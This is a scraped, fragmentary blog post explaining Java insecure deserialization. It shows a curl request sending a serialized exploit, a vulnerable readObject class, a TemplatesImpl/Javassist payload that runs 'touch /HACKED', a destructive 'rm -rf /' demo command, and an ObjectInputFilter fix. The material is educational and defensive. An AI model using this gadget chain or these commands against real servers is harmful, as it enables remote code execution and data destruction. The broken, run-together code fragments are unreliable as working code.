Insecure Deserialization Explained With Examples In Java

The problem

client> curl -XPOST -H "Content-Type: application/x-java-serialized-object" --data-binary @exploit.serserver> ls -l /HACKED
-rw-rw-r-- 1 tomas admin 2770 Okt 12 07:40 /HACKED
touch /HACKED
rm -rf /
server> ls -l /
sh: ls: not found

The server

@Bean(name = "/service/toupper")
RemoteExporter exporterServiceRemote() {
var exp = new HttpInvokerServiceExporter();
return exp;
Object obj = ois.readObject();

The exploit

class Vulnerable implements Serializable {

Object object;
String property;

transient String info;

void readObject(ObjectInputStream ois)
throws Exception {

// doing some reflection here
Method method = object.getClass()
.getMethod("get" + cap(property),
new Class[]{});
info = method.invoke(object, null)

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(
String cmd = "touch /HACKED";
static  {
try {
.exec("touch /HACKED");
} catch (IOException e) { }
byte[] bytes = clazz.toBytecode(); 
"_bytecodes", new byte[][]{bytes});
TemplatesImpl exploit = createExploit(cmd);
setFieldValue(vulnerable, "object", exploit);
"property", "outputProperties");

The fix

ObjectInputFilter REJECTED: class com.ttulka.Vulnerable

Source code




Software developer and occasional blogger:

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

An introduction into Rust. Part 12: Box<T>, Rc<T> and RefCell<T>

Automation of Docker-Git-Jenkin

What does a Software Engineer do?

Binary Multiplier Based on Vedic Mathematics

Using Rust to corrode insane Python run-times

The Zeek-Cut Cheat Sheet

Tracking Open Source Compliance in Docker Apps

Top Advantages of Using Laravel Framework

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Tomas Tulka

Tomas Tulka

Software developer and occasional blogger:

More from Medium

Bellman-Ford in Distance Vector Routing Protocol using Java

Are You Unclear about Spring Boot Initializer? Check Below!

Exception Handling in Java

Dependency Injection in Spring